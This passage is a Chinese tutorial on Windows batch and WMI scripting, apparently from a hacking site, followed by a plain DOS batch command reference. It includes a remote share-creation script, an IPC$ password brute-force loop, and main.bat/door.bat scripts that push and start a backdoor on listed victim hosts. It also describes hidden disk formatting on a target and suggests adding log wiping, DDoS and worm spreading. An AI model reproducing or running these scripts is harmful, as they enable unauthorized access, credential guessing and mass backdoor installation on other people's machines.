5 )如果你想要監視的是自己的計算機而不是遠程的計算機(據我所知,這個應用還是很廣的)。那麼請將計算機名的參數寫爲一個小點,用戶名和密碼留爲空。如下所示:

monitor . "" "" C:/1.txt

2 .任務五:利用腳本給對方開放共享

有了任務四的基礎,這次我們就先看代碼吧:

Set colArgs = WScript.Arguments

If WScript.arguments.count < 5 then

WScript.Echo "USAGE:" & vbCrLf & " Rshare Computer User Password SharePath ShareName"

WScript.quit

End If

strComputer = wscript.arguments(0)

strUser = wscript.arguments(1)

strPwd = wscript.arguments(2)

strPath = wscript.arguments(3)

strShareName = wscript.arguments(4)

intMaximumAllowed = 1

strDescription = "Temporary share"

Const SHARED_FOLDER = 0

set olct=createobject("wbemscripting.swbemlocator")

set wbemServices=olct.connectserver(strComputer,"root/cimv2",strUser,strPwd)

Set objSWbemObject = wbemServices.Get("Win32_Share")

intReturnvalue = objSWbemObject.Create(strPath, _

strShareName, _

SHARED_FOLDER, _

intMaximumAllowed, _

strDescription)

if(intReturnvalue = 0) Then

WScript.Echo "The share have been created successfully"

End If

解說:

1 )我們可以看出來前面的那幾行是爲顯示幫助和處理輸入參數而存在的。

2 )緊接着設置了幾個變量,爲以後做參數用的。這裏我們可以先不理會它。

3 )連接到主機的 WMI ,然後就是查詢。前面已經說的很詳細了。

4 )這次得到實例集後,我們用了它的一個方法,也就是這個方法讓共享成爲了可能,聯繫到第二部分的內容,我們不難知道第一個參數表示要共享的路徑和文件名,第二個參數表示共享名,第三個參數爲 0 就可以了,第四個參數是指可以連接的人數,第五個參數是共享描述了,而我們只關心前面的兩個參數。如果手頭有 MSDN 那就好辦了,到 MSDN 中可以查到該方法的更詳細的內容。

5 )這次我們根據第四步的返回值來得到共享是否成功,並給出提示。不同的返回值代表不同的意義。這個信息在 MSDN 中可以很清楚地查到。比如 0 代表成功返回, 2 代表拒絕訪問, 9 代表用戶名錯誤, 25 代表主機名沒有找到等等。

6 )這次我們要注意的是,用這個腳本來實現遠程文件共享,要求遠程存在這個文件,否則無法共享。當然你也可以利用教本創建自己的文件夾,很容易的,自己創建吧。

7 )如上腳本創建後的共享是完全共享。就是可以刪除修改文件的。

8 )用法舉例: share netp net swswsw C:/dodo marsh

好了,到現在爲止,大家應該對這位朋友有些瞭解了,我的介紹任務也就告一段落了,如果大家想進一步認識它,那就主要靠大家的主動性了。這次我們主要通過 WMIC 和腳本來認識它,下次我將帶領大家通過真正的程序代碼來認識它,讓它也有個象 Windows 一樣漂亮的臉蛋。今天我所提到的估計只能算是 WMI 的萬分之一,都算不上是冰山一角。剩餘的要靠自己來發揮了。如果你肯利用你的所學,那麼奇蹟就會產生。

 

 

 

批處理基本知識

將以要執行的程序指令 , 像在 dos 模式下一下寫入記事本 , 保存成 bat 文件 , 就可以執行了

. 簡單批處理內部命令簡介

1.Echo 命令

打開回顯或關閉請求回顯功能,或顯示消息。如果沒有任何參數, echo 命令將顯示當前回顯設置。

語法 :

echo [{on off}] [message]

Sample @echo off / echo hello world

在實際應用中我們會把這條命令和重定向符號(也稱爲管道符號,一般用 > >> ^ )結合來實現輸入一些命

令到特定格式的文件中 . 這將在以後的例子中體現出來。

2.@ 命令

表示不顯示 @ 後面的命令,在入侵過程中(例如使用批處理來格式化敵人的硬盤)自然不能讓對方看到你使

用的命令啦。

Sample @echo off

@echo Now initializing the program,please wait a minite...

@format X: /q/u/autoset (format 這個命令是不可以使用 /y 這個參數的,可喜的是微軟留了個 autoset

個參數給我們,效果和 /y 是一樣的。 )

3.Goto 命令

指定跳轉到標籤,找到標籤後,程序將處理從下一行開始的命令。

語法: goto label label 是參數,指定所要轉向的批處理程序中的行。)

Sample

if {%1}=={} goto noparms

if {%2}=={} goto noparms (如果這裏的 if %1 %2 你不明白的話,先跳過去,後面會有詳細的解釋。)

@Rem check parameters if null show usage

:noparms

echo Usage: monitor.bat ServerIP PortNumber

goto end

標籤的名字可以隨便起,但是最好是有意義的字母啦,字母前加個:用來表示這個字母是標籤, goto 命令

就是根據這個:來尋找下一步跳到到那裏。最好有一些說明這樣你別人看起來纔會理解你的意圖啊。

Rem 命令

註釋命令,在 C 語言中相當與 /*--------*/, 它並不會被執行,只是起一個註釋的作用,便於別人閱讀和你

自己日後修改。

Rem Message

Sample @Rem Here is the description.

5.Pause 命令

運行 Pause 命令時,將顯示下面的消息:

Press any key to continue . . .

Sample

@echo off

:begin

copy a:*.* d /back

echo Please put a new disk into driver A

pause

goto begin

在這個例子中,驅動器 A 中磁盤上的所有文件均複製到 d:/back 中。顯示的註釋提示您將另一張磁盤放入

驅動器 A 時, pause 命令會使程序掛起,以便您更換磁盤,然後按任意鍵繼續處理。

Call 命令

從一個批處理程序調用另一個批處理程序,並且不終止父批處理程序。 call 命令接受用作調用目標的標籤

。如果在腳本或批處理文件外使用 Call ,它將不會在命令行起作用。

語法 :

call [[Drive:][Path] FileName [BatchParameters]] [:label [arguments]]

參數 :

[Drive:}[Path] FileName

指定要調用的批處理程序的位置和名稱。 filename 參數必須具有 .bat .cmd 擴展名。

start 命令

調用外部程序,所有的 DOS 命令和命令行程序都可以由 start 命令來調用。

常用參數:

MIN 開始時窗口最小化

SEPARATE 在分開的空間內開始 16 Windows 程序

HIGH HIGH 優先級類別開始應用程序

REALTIME REALTIME 優先級類別開始應用程序

WAIT 啓動應用程序並等候它結束

parameters 這些爲傳送到命令 / 程序的參數

執行的應用程序是 32- GUI 應用程序時, CMD.EXE 不等應用程序終止就返回命令提示。如果在命令腳本

內執行,該新行爲則不會發生。

8.choice 命令

choice 使用此命令可以讓用戶輸入一個字符,從而運行不同的命令。使用時應該加 /c: 參數, c: 後應寫提

示可輸入的字符,之間無空格。它的返回碼爲 1234......

: choice /c:dme defrag,mem,end

將顯示

defrag,mem,end[D,M,E]?

Sample

Sample.bat 的內容如下 :

@echo off

choice /c:dme defrag,mem,end

if errorlevel 3 goto defrag (應先判斷數值最高的錯誤碼)

if errorlevel 2 goto mem

if errotlevel 1 goto end

:defrag

c:/dos/defrag

goto end

:mem

mem

goto end

:end

echo good bye

此文件運行後,將顯示 defrag,mem,end[D,M,E]? 用戶可選擇 d m e ,然後 if 語句將作出判斷, d 表示執行

標號爲 defrag 的程序段, m 表示執行標號爲 mem 的程序段, e 表示執行標號爲 end 的程序段,每個程序段最後

都以 goto end 將程序跳到 end 標號處,然後程序將顯示 good bye ,文件結束。

9.If 命令

if 表示將判斷是否符合規定的條件,從而決定執行不同的命令。

有三種格式 :

1) if " 參數 " == " 字符串 " 待執行的命令

參數如果等於指定的字符串,則條件成立,運行命令,否則運行下一句。 ( 注意是兩個等號)

if "%1"=="a" format a:

if {%1}=={} goto noparms

if {%2}=={} goto noparms

2) if exist 文件名 待執行的命令

如果有指定的文件,則條件成立,運行命令,否則運行下一句。

if exist config.sys edit config.sys

3) if errorlevel / if not errorlevel 數字 待執行的命令

如果返回碼等於指定的數字,則條件成立,運行命令,否則運行下一句。

if errorlevel 2 goto x2

DOS 程序運行時都會返回一個數字給 DOS ,稱爲錯誤碼 errorlevel 或稱返回碼,常見的返回碼爲 0 1

for 命令

for 命令是一個比較複雜的命令,主要用於參數在指定的範圍內循環執行命令。

在批處理文件中使用 FOR 命令時,指定變量請使用 %%variable

for {%variable %%variable} in (set) do command [ CommandLineOptions]

%variable 指定一個單一字母可替換的參數。

(set) 指定一個或一組文件。可以使用通配符。

command 指定對每個文件執行的命令。

command-parameters 爲特定命令指定參數或命令行開關。

在批處理文件中使用 FOR 命令時,指定變量請使用 %%variable

而不要用 %variable 。變量名稱是區分大小寫的,所以 %i 不同於 %I

如果命令擴展名被啓用,下列額外的 FOR 命令格式會受到支持 :

FOR /D %variable IN (set) DO command [command-parameters]

如果集中包含通配符,則指定與目錄名匹配,而不與文件名匹配。

FOR /R [[drive:]path] %variable IN (set) DO command [command-parameters]

檢查以 [drive:]path 爲根的目錄樹,指向每個目錄中的 FOR 語句。如果在 /R 後沒有指定目錄,則使用

當前目錄。如果集僅爲一個單點 (.) 字符,則枚舉該目錄樹。

FOR /L %variable IN (start,step,end) DO command [command-parameters]

該集表示以增量形式從開始到結束的一個數字序列。

因此, (1,1,5) 將產生序列 1 2 3 4 5 (5,-1,1) 將產生

序列 (5 4 3 2 1)

FOR /F ["options"] %variable IN (file-set) DO command

FOR /F ["options"] %variable IN ("string") DO command

FOR /F ["options"] %variable IN ('command') DO command

或者,如果有 usebackq 選項 :

FOR /F ["options"] %variable IN (file-set) DO command

FOR /F ["options"] %variable IN ("string") DO command

FOR /F ["options"] %variable IN ('command') DO command

filenameset 爲一個或多個文件名。繼續到 filenameset 中的下一個文件之前,每份文件都已被打開、讀

取並經過處理。

處理包括讀取文件,將其分成一行行的文字,然後將每行解析成零或更多的符號。然後用已找到的符號字

符串變量值調用 For 循環。以默認方式, /F 通過每個文件的每一行中分開的第一個空白符號。跳過空白

行。您可通過指定可選 "options" 參數替代默認解析操作。這個帶引號的字符串包括一個或多個指定不同

解析選項的關鍵字。這些關鍵字爲 :

eol=c - 指一個行註釋字符的結尾 ( 就一個 )

skip=n - 指在文件開始時忽略的行數。

delims=xxx - 指分隔符集。這個替換了空格和跳格鍵的默認分隔符集。

tokens=x,y,m-n - 指每行的哪一個符號被傳遞到每個迭代的 for 本身。這會導致額外變量名稱的

格式爲一個範圍。通過 nth 符號指定 m 符號字符串中的最後一個字符星號,那麼額外的變量將在最後一

個符號解析之分配並接受行的保留文本。

usebackq - 指定新語法已在下類情況中使用 :

在作爲命令執行一個後引號的字符串並且引號字符爲文字字符串命令並允許在 file-set 中使用雙引號擴起

文件名稱。

sample1:

FOR /F "eol=; tokens=2,3* delims=, " %i in (myfile.txt) do command

會分析 myfile.txt 中的每一行,忽略以分號打頭的那些行,將每行中的第二個和第三個符號傳遞給 for

程序體;用逗號和 / 空格定界符號。請注意,這個 for 程序體的語句引用 %i 來取得第二個符號,引用

%j 來取得第三個符號,引用 %k 來取得第三個符號後的所有剩餘符號。對於帶有空格的文件名,您需要用

雙引號將文件名括起來。爲了用這種方式來使用雙引號,您還需要使用 usebackq 選項,否則,雙引號會

被理解成是用作定義某個要分析的字符串的。

%i 專門在 for 語句中得到說明, %j %k 是通過 tokens= 選項專門得到說明的。您可以通過 tokens=

一行指定最多 26 個符號,只要不試圖說明一個高於字母 'z' 'Z' 的變量。請記住, FOR 變量是單一字

母、分大小寫和全局的;同時不能有 52 個以上都在使用中。

您還可以在相鄰字符串上使用 FOR /F 分析邏輯;方法是,用單引號將括號之間的 filenameset 括起來。

這樣,該字符串會被當作一個文件中的一個單一輸入行。

最後,您可以用 FOR /F 命令來分析命令的輸出。方法是,將括號之間的 filenameset 變成一個反括字符

串。該字符串會被當作命令行,傳遞到一個子 CMD.EXE ,其輸出會被抓進內存,並被當作文件分析。因此

,以下例子 :

FOR /F "usebackq delims==" %i IN (`set`) DO @echo %i

會枚舉當前環境中的環境變量名稱。

另外, FOR 變量參照的替換已被增強。您現在可以使用下列選項語法 :

~I - 刪除任何引號 (") ,擴充 %I

%~fI - %I 擴充到一個完全合格的路徑名

%~dI - 僅將 %I 擴充到一個驅動器號

%~pI - 僅將 %I 擴充到一個路徑

%~nI - 僅將 %I 擴充到一個文件名

%~xI - 僅將 %I 擴充到一個文件擴展名

%~sI - 擴充的路徑只含有短名

%~aI - %I 擴充到文件的文件屬性

%~tI - %I 擴充到文件的日期 / 時間

%~zI - %I 擴充到文件的大小

%~$PATH:I - 查找列在路徑環境變量的目錄,並將 %I 擴充到找到的第一個完全合格的名稱。如果環境變

量未被定義,或者沒有找到文件,此組合鍵會擴充空字符串

可以組合修飾符來得到多重結果 :

%~dpI - 僅將 %I 擴充到一個驅動器號和路徑

%~nxI - 僅將 %I 擴充到一個文件名和擴展名

%~fsI - 僅將 %I 擴充到一個帶有短名的完整路徑名

%~dp$PATH:i - 查找列在路徑環境變量的目錄,並將 %I 擴充到找到的第一個驅動器號和路徑。

%~ftzaI - %I 擴充到類似輸出線路的 DIR

在以上例子中, %I PATH 可用其他有效數值代替。 %~ 語法用一個有效的 FOR 變量名終止。選取類似

%I 的大寫變量名比較易讀,而且避免與不分大小寫的組合鍵混淆。

以上是 MS 的官方幫助,下面我們舉幾個例子來具體說明一下 For 命令在入侵中的用途。

sample2

利用 For 命令來實現對一臺目標 Win2k 主機的暴力密碼破解。

我們用 net use file://ip/ipc$ "password" /u:"administrator" 來嘗試這和目標主機進行連接,當成功時記下

密碼。

最主要的命令是一條: for /f i% in (dict.txt) do net use file://ip/ipc$ "i%" /u:"administrator"

i% 來表示 admin 的密碼,在 dict.txt 中這個取 i% 的值用 net use 命令來連接。然後將程序運行結果傳遞給

find 命令--

for /f i%% in (dict.txt) do net use file://ip/ipc$ "i%%" /u:"administrator" find ": 命令成功完

">>D:/ok.txt ,這樣就 ko 了。

sample3

你有沒有過手裏有大量肉雞等着你去種後門+木馬呢?,當數量特別多的時候,原本很開心的一件事都會

變得很鬱悶:)。文章開頭就談到使用批處理文件,可以簡化日常或重複性任務。那麼如何實現呢?呵呵

,看下去你就會明白了。

主要命令也只有一條:(在批處理文件中使用 FOR 命令時,指定變量使用 %%variable

@for /f "tokens=1,2,3 delims= " %%i in (victim.txt) do start call door.bat %%i %%j %%k

tokens 的用法請參見上面的 sample1 ,在這裏它表示按順序將 victim.txt 中的內容傳遞給 door.bat 中的參數

%i %j %k

cultivate.bat 無非就是用 net use 命令來建立 IPC$ 連接,並 copy 木馬+後門到 victim ,然後用返回碼

If errorlever = )來篩選成功種植後門的主機,並 echo 出來,或者 echo 到指定的文件。

delims= 表示 vivtim.txt 中的內容是一空格來分隔的。我想看到這裏你也一定明白這 victim.txt 裏的內容

是什麼樣的了。應該根據 %%i %%j %%k 表示的對象來排列,一般就是 ip password username

 

代碼雛形:

--------------- cut here then save as a batchfile(I call it main.bat ) ---------------------

------

@echo off

@if "%1"=="" goto usage

@for /f "tokens=1,2,3 delims= " %%i in (victim.txt) do start call IPChack.bat %%i %%j %%k

@goto end

:usage

@echo run this batch in dos modle.or just double-click it.

:end

--------------- cut here then save as a batchfile(I call it main.bat ) ---------------------

------

 

------------------- cut here then save as a batchfile(I call it door.bat) ------------------

-----------

@net use file://%1/ipc$ %3 /u:"%2"

@if errorlevel 1 goto failed

@echo Trying to establish the IPC$ connection ............OK

@copy windrv32.exe//%1/admin$/system32 && if not errorlevel 1 echo IP %1 USER %2 PWD %3

>>ko.txt

@psexec file://%1/ c:/winnt/system32/windrv32.exe

@psexec file://%1/ net start windrv32 && if not errorlevel 1 echo %1 Backdoored >>ko.txt

:failed

@echo Sorry can not connected to the victim.

----------------- cut here then save as a batchfile(I call it door.bat) --------------------

------------

這只是一個自動種植後門批處理的雛形,兩個批處理和後門程序( Windrv32.exe ,PSexec.exe 需放在統一

目錄下 . 批處理內容

尚可擴展 , 例如 : 加入清除日誌 +DDOS 的功能 , 加入定時添加用戶的功能 , 更深入一點可以使之具備自動傳播功

( 蠕蟲 ). 此處不多做敘述 , 有興趣的朋友可自行研究 .

 

. 如何在批處理文件中使用參數

批處理中可以使用參數,一般從 1% 9% 這九個,當有多個參數時需要用 shift 來移動,這種情況並不多見

,我們就不考慮它了。

sample1 fomat.bat

@echo off

if "%1"=="a" format a:

:format

@format a:/q/u/auotset

@echo please insert another disk to driver A.

@pause

@goto fomat

這個例子用於連續地格式化幾張軟盤,所以用的時候需在 dos 窗口輸入 fomat.bat a ,呵呵 , 好像有點畫蛇添

足了~

sample2

當我們要建立一個 IPC$ 連接地時候總要輸入一大串命令,弄不好就打錯了,所以我們不如把一些固定命令

寫入一個批處理,把肉雞地 ip password username 當着參數來賦給這個批處理,這樣就不用每次都打命令

了。

@echo off

@net use file://1%/ipc$ "2%" /u:"3%" 注意哦,這裏 PASSWORD 是第二個參數。

@if errorlevel 1 echo connection failed

怎麼樣 , 使用參數還是比較簡單的吧?你這麼帥一定學會了 .No.3

 

. 如何使用組合命令 (Compound Command)

1.&

Usage :第一條命令 & 第二條命令 [& 第三條命令 ...]

用這種方法可以同時執行多條命令,而不管命令是否執行成功

Sample

C:/>dir z: & dir c:/Ex4rch

The system cannot find the path specified.

Volume in drive C has no label.

Volume Serial Number is 0078-59FB

Directory of c:/Ex4rch

2002-05-14 23:51 .

2002-05-14 23:51 ..

2002-05-14 23:51 14 sometips.gif

2.&&

Usage :第一條命令 && 第二條命令 [&& 第三條命令 ...]

用這種方法可以同時執行多條命令,當碰到執行出錯的命令後將不執行後面的命令,如果一直沒有出錯則

一直執行完所有命令;

Sample

C:/>dir z: && dir c:/Ex4rch

The system cannot find the path specified.

C:/>dir c:/Ex4rch && dir z:

Volume in drive C has no label.

Volume Serial Number is 0078-59FB

Directory of c:/Ex4rch

2002-05-14 23:55 .

2002-05-14 23:55 ..

2002-05-14 23:55 14 sometips.gif

1 File(s) 14 bytes

2 Dir(s) 768,671,744 bytes free

The system cannot find the path specified.

在做備份的時候可能會用到這種命令會比較簡單,如:

dir file&://192.168.0.1/database/backup.mdb && copy file&://192.168.0.1/database/backup.mdb

E:/backup

如果遠程服務器上存在 backup.mdb 文件,就執行 copy 命令,若不存在該文件則不執行 copy 命令。這種用法

可以替換 IF exist .

3. ││

Usage :第一條命令 ││ 第二條命令 [ ││ 第三條命令 ...]

用這種方法可以同時執行多條命令,當碰到執行正確的命令後將不執行後面的命令,如果沒有出現正確的

命令則一直執行完所有命令;

Sample

C:/Ex4rch>dir sometips.gif ││ del sometips.gif

Volume in drive C has no label.

Volume Serial Number is 0078-59FB

Directory of C:/Ex4rch

2002-05-14 23:55 14 sometips.gif

1 File(s) 14 bytes

0 Dir(s) 768,696,320 bytes free

組合命令使用的例子:

sample

@copy trojan.exe file://%1/admin$/system32 && if not errorlevel 1 echo IP %1 USER %2 PASS %3

>>victim.txt

 

四、管道命令的使用

1. 命令

Usage :第一條命令 第二條命令 [ 第三條命令 ...]

將第一條命令的結果作爲第二條命令的參數來使用,記得在 unix 中這種方式很常見。

sample

time /t>>D:/IP.log

netstat -n -p tcp find ":3389">>D:/IP.log

start Explorer

看出來了麼?用於終端服務允許我們爲用戶自定義起始的程序,來實現讓用戶運行下面這個 bat ,以獲得登

錄用戶的 IP

2.> >> 輸出重定向命令

將一條命令或某個程序輸出結果的重定向到特定文件中 , > >> 的區別在於, > 會清除調原有文件中的內

容後寫入指定文件,而 >> 只會追加內容到指定文件中,而不會改動其中的內容。

sample1

echo hello world>c:/hello.txt (stupid example?)

sample2:

時下 DLL 木馬盛行,我們知道 system32 是個捉迷藏的好地方,許多木馬都削尖了腦袋往那裏鑽, DLL 馬也不

例外,針對這一點我們可以在安裝好系統和必要的應用程序後,對該目錄下的 EXE DLL 文件作一個記錄:

運行 CMD-- 轉換目錄到 system32--dir *.exe>exeback.txt & dir *.dll>dllback.txt,

這樣所有的 EXE DLL 文件的名稱都被分別記錄到 exeback.txt dllback.txt ,

日後如發現異常但用傳統的方法查不出問題時 , 則要考慮是不是系統中已經潛入 DLL 木馬了 .

這時我們用同樣的命令將 system32 下的 EXE DLL 文件記錄到另外的 exeback1.txt dllback1.txt , 然後運

:

CMD--fc exeback.txt exeback1.txt>diff.txt & fc dllback.txt dllback1.txt>diff.txt.( FC 命令比

較前後兩次的 DLL EXE 文件 , 並將結果輸入到 diff.txt ), 這樣我們就能發現一些多出來的 DLL EXE 文件 ,

然後通過查看創建時間、版本、是否經過壓縮等就能夠比較容易地判斷出是不是已經被 DLL 木馬光顧了。沒

有是最好,如果有的話也不要直接 DEL 掉,先用 regsvr32 /u trojan.dll 將後門 DLL 文件註銷掉 , 再把它移到

回收站裏,若系統沒有異常反映再將之徹底刪除或者提交給殺毒軟件公司。

3.< >& <&

< 從文件中而不是從鍵盤中讀入命令輸入。

>& 將一個句柄的輸出寫入到另一個句柄的輸入中。

<& 從一個句柄讀取輸入並將其寫入到另一個句柄輸出中。

這些並不常用,也就不多做介紹

 

 

批處理相關知識 -2

一、什麼叫做批處理文件?

批處理文件 ( 文件名爲 *.BAT) 就是將一些常用的命令寫入一個文本文件內。當我們要使用這個文件時,只要鍵入批處理文件的文件名,批處理文件就會依照文件中的命令來執行全部或者是一部分指定要執行命令。如此我們便可簡化我們的工作,而不用每一次都需要手動鍵入很多的命令來執行一些動作。

一個批處理文件的建立,因爲必須是一個文本文件;所以只要有字處理功能的軟件,都可用來建立此文本文件,例如 EDIT WORDSTAR PE2 ……等程序皆可。

二、什麼是自動批處理?

自動批處理文件( AUTOEXEC.BAT ),是批處理文件的一種,處於引導盤(一般爲 C 盤或 A 盤)的根目錄下,當每一次開機時,系統將自動到引導盤的根目錄下查找它,如果找到了就自動執行它。

三、批處理文件中可以使用哪些命令?

只要能夠在 DOS 的系統提示符下執行的命令,或應用軟件執行文件名稱,都能寫在批處理文件中,批處理命令也可包含在內,詳細如下:

1 DOS 的內部命令

2 DOS 的外部命令

3 COM 的命令文件

4 EXE 的可執行文件

5 .批文件命令: CALL ECHO FOR GOTO IF PAUSE REM SHIFT

6 .其他的批文件

四、批處理文件命令

BATCH DOS 命令 1 .功能: 批處理命令是存儲在一個特殊的批處理文件 (Batch File) 中的 DOS 命令。當執行一個批處理文件時, DOS 將依次執行文件內所存儲的各項 DOS 命令。

2 .格式: [d:][path][filename.bat][parameters]

3 .說明: ①、批處理文件的擴展名應爲 .BAT

②、當執行批處理文件時,您可將參數 (parameters) 傳給一名稱爲 file-name.bat 的文件,給予不同的參數,將可以執行類似的工作。

③、如果要停止批處理文件的動作,只要按下 ctrl+break 二鍵,即可停止正在執行的命令,並且出現下述信息:

terminate batch job?(Y/N)

如果按下 Y 鍵就可以終止批處理文件的執行工作。如果按 N 鍵,那系統將會繼續執行其它的批處理文件中的命令。

4 .範例: ①、如果在 test.bat 文件內包括一些替換參數,將使得在執行時,可以使用您所提供的值來替換它。例如:

copy %1.mac %2.mac

type %2.prn

type %0.bat

%0,%1,%2 這三個可以被代換的參數,於執行時將使用批處理文件時的三個參數順序依次來代換之。

%0 參數永遠使用批處理文件的文件名來取代。

在一個批處理文件內最多可以使用 10 個替換參數 (%0 %9)

②、當您要執行 test.bat 的批處理文件時,系統將依照 %1,%2 等順序給予適當的參數。例如:

A:/>test a:prog1 b:prog2

於是系統將以 test 代表 %0 ,以 a:/prog1 代表 %1 ,以 b:/prog2 代表 %2 因此在執行此命令時,就相當於直接在鍵盤上依次輸入下述 DOS 命令一樣:

copy a:/prog1.mac b:/prog2.mac

type b:/prog2.prn

typt test.bat

③、批處理文件亦可使用 DOS 的環境變量。環境變量於使用時前後都要加上一個 % 符號。例如要取用 DOS PATH 的值,您必需輸入 %PATH% 。下例是先假設將變量 destination 定義爲一臺磁盤驅動器代碼:

SET destination=C: 於是執行以下所述命令

ECHO dot here>%destination%FILE1 (必須在批處理文件中執行)

執行之後, C 磁盤的 file1 文件內將會存在 dot here 字符串。

CALL 批處理文件命令 1 .功能: 您可以在批處理文件裏面調用令一個批處理文件,執行完畢後在繼續執行原來的這個批處理文件內的剩餘命令。

2 .格式: CALL[d:][path][filename.bat][argument]

3 .說明: ①、 [argument] 參數:指定經由批處理文件所要求的任何命令行信息;它可包含開關選擇項、文件指定、變量 %1 %9 以及其它像 %baud% 這樣的變量。

②、 CALL 命令可以在批處理文件的任何位置,只要執行時不要超過內存容量即可。

③、批處理文件也可以調用自己本身,但必須確定最後仍可以結束纔好。

④、 CALL 命令不可以與重定向輸入字符(如: < )以及數據管道字符(如: | )合用。

4 .範例: ①、現有 main.bat 批處理文件內容如下所述:

REM I am ist batch file

REM go to 2nd batch file

CALL a2

REM now come back!

REM END

②、其中 A2.bat 批處理文件內容如下所述:

REM I am 2nd batch file

REM I will back to main batch file

③、執行時

A:/>main ( 執行 main.bat)

A:/>REM I am ist batch file (main.bat 前兩行 )

A:/>REM go 2nd batch file

A:/>CALL A2 ( main.bat 中調用 a2.bat)

A:/>REM I am 2nd batch file ( 執行 a2.bat 文件的內容 )

A:/>REM I will back to main batch file

A:/>REM now come back! (a2.bat 結束後返回 main.bat

A:/>REM END 繼續執行其餘命令 )

CHOICE 選擇鍵組命令 批處理文件命令 1 .功能: 此命令將顯示指定的提示並暫停讓用戶在指定的鍵組中做選擇,然後返回一個 ERRORLEVEL 參數給批處理程序。您只能在批處理程序中使用本命令。

2 .格式: [d:][path]CHOICE[/C[:]KEYS][/N][/S][/T[:]C'nn][test]

3 .說明: ①、 /C[:]keys 參數:在提示中指定允許可用的鍵。當顯示時, keys 將以逗黠分開並放置於括弧中,而且其後將會加上問號。如果您並無指定 /C 參數,則 CHOICE 將會使用 YN 來當做默認值。冒號( : )是可有可無的。

②、 /N 參數:使 CHOICE 不顯示提示,但是提示前的文字仍會顯示。如果您指定此參數,則指定鍵仍然有效。

③、 /S 參數:將導致 CHOICE 會區分大小寫。如果此參數未被指定,則 CHOICE 將接受用戶指定的任意鍵值的大寫或小寫。

④、 /T[:]C'nn 參數:在默認指定鍵之前,使 CHOICE 在指定的秒數中暫停。 /T 參數可用的值如下所示:

c---nn 秒後,指定的字符將爲默認的。字符必須是 /c 參數中所指定的選擇組。

nn-- 指定暫停的秒數。可接受 0 99 之間。如果指定 0 ,則在默認之前將不會有暫停。

⑤、 [test] 參數:您想在提示符前顯示的字符。假如您包含斜線( / )做爲提示前字符的一部分時,則必須加引號。如果您並無提示字符,則 CHOICE 將僅顯示提示符。您所分派的第一個鍵將爲 1 ,第二個鍵將爲 2 ……餘此類推。如果用戶按下了一個未分派到的鍵,則 CHOICE 將發出一警告聲響。如果 CHOICE 檢測到一個錯誤的情況,那麼它將返回一 ERRORLEVEL 值爲 255 的值;如果使用者按下了 Crtl+Break 二鍵或 Ctrl+c 二鍵,則 CHOICE 將返回一 ERRORLEVEL 值爲 0 的值。

4 、範例: 這個 CHIOCE 命令最有用的地方就是用在批處理文件設計中。它將讓用戶按下指定的按鍵後,執行某一段在批處理文件中的命令。例如:下面是包含 CHOICE 命令的 TEST.BAT 文件內容:

@echo off

cls

echo.

echo 1.defragment

echo 2.MSD ├—顯示這些字符

echo 3.Anti-Virus

echo.

choice/c:123/t:1,10 將出現要您選擇 1 或者 2 或者 3 的提示字符,如果等 10 秒後,用戶尚未鍵入 1 2 3 中任一字符,則自動鍵入 1

if errorlevel 1 goto defragmant 當用戶在上述鍵入 1 時,將尋找: defragment 段來執行 defrag 程序。

if errorlevel 2 goto msd 當用戶在上述鍵入 2 時,將尋找: msd 段來執行 msd 程序。

if errorlevel 3 goto av 當用戶到上述鍵入 3 時,將尋找: av 段來執行 msav 程序。

:defragment

defrag :defragment

goto end

:msd

msd :msd

goto end

:av

msav :av

goto end

:end 結束

 

ECHO 批處理文件命令 1 .功能: 允許批處理文件執行時顯示或不顯示命令本身,但對於命令的執行則無影響。

2 .格式: ECHO [on|off]

ECHO [message]

3 .說明: ①、 ECHO 命令在啓動或系統重置時,均默認爲 on ,而可將每一批處理命令在執行同時,顯示在輸出設備(屏幕)上。

②、當 ECHO 命令設定爲 off 時在批處理命令執行時,將不顯示該命令內容,但不影響執行結果。

③、如果您指定了 ECHO message ,則不論是 ECHO on ECHO off message 信息皆會顯示在標準輸出設備(屏幕)上。

④、如果 ECHO 後面未加任何字符,如 on off message ,則只會顯示出 ECHO 當前是在 on off 的狀態。

4 .範例:

REM 範例:①

ECHO off

ECHO piping symbol"/"ECHO redirect symbol">/"

/ ”及“ > ”在 DOS 命令裏有其特殊的意義,如果要讓 DOS 不處理時,則需使用雙引號括起來。

REM 範例:

@ECHO off

@REM THIS LINE WILL NOT DISPLAY

REN THIS LINE WILL BE DISPLAYED

@file1

上例中,命今前有 @ 符號,其命令行本身將不會被顯示出來,其餘的命令行都將被顯示出來。

REM 範例:③

@ECHO off

DIR *.TXT

執行的結果如下:

Volume in drive A is ABC

Directory of A:TEST1 TXT 13 06-26-90 4:03P

TEST2 TXT 13 06-26-90 4:03P

TEST3 TXT 13 06-26-90 4:04P

3 File(s) 310272 bytes free

ECHO off 命令本身亦不顯示。

FOR 內部命令、批處理文件命令 1 .功能: 可以讓我們反覆地執行 DOS 的命令。

2 .格式: 在批處理文件中:

FOR [%%c] in(set) DO [command][arguments]

MS-DOS 命令行中:

FOR [%c] in(set) DO [command][arguments]

3 .說明: ①、 [%%c] [%c] 參數:將順序地得到 (set) 這個集合中的各個元素來作爲它的值,當得到一個值之後,就執行 COMMAND 此一 DOS 命令。

②、 (set) 中可包含 * ? / 等通配符,那麼 [%%c] 參數就會被設置成磁盤中能夠匹配引指定的第一個文件名稱,同時亦可使用路徑。

③、 [command] 參數:指定您希望執行在每一包含在 (set) 中文件命令。

④、 [arguments] 參數爲: [command] 參數指定選擇項。

4 .範例: ①、如果一批處理文件中含有下述命令:

FOR %%F IN (TEST1.DBF TEST2.DBF TEST3.DBF) DO DEL %%F

則執行時,將有下述的結果:

DEL TEST1.DBF

DEL TEST2.DBF

DEL TEST3.DBF

②、如果批處理文件中含有下述的命令: ( TEST.BAT )

FOR %%F IN (%1 %2 %3 %4 %5) DO DEL %%F

則在執行時執行下列命令,將有與前項相同的結果:

A>TEST TEST1.DBF TEST2.DBF TEST3.DBF

③、如果欲在 DOS 下直接執行此命令,則 %%c 只要改爲 %c 的形式即可。

GOTO 內部命令、批處理文件命令 1 .功能: DOS 控制權轉移到某標號( LABEL )中,繼續往後面執行。在批處理文件中的一個標號是以一個冒號( : )開頭,其後跟着一個標號名稱( LANEL NAME )所組成。

格式: GOTO label

3 .說明: ①、 GOTO label 會造成接着執行標號 label 那一行的命令。

②、如果 label 未被定義,則當前這一個批處理文件的動作就會停止,並顯示 label notfound 信息。

③、批處理文件中的標號名稱是由前面 8 個字來定義的。

④、批處理文件的標號是永遠不會顯示出來的。所以未引用的標號可用來作爲一些註解。

4 .範例: TEST.BAT 文件,內容如下:

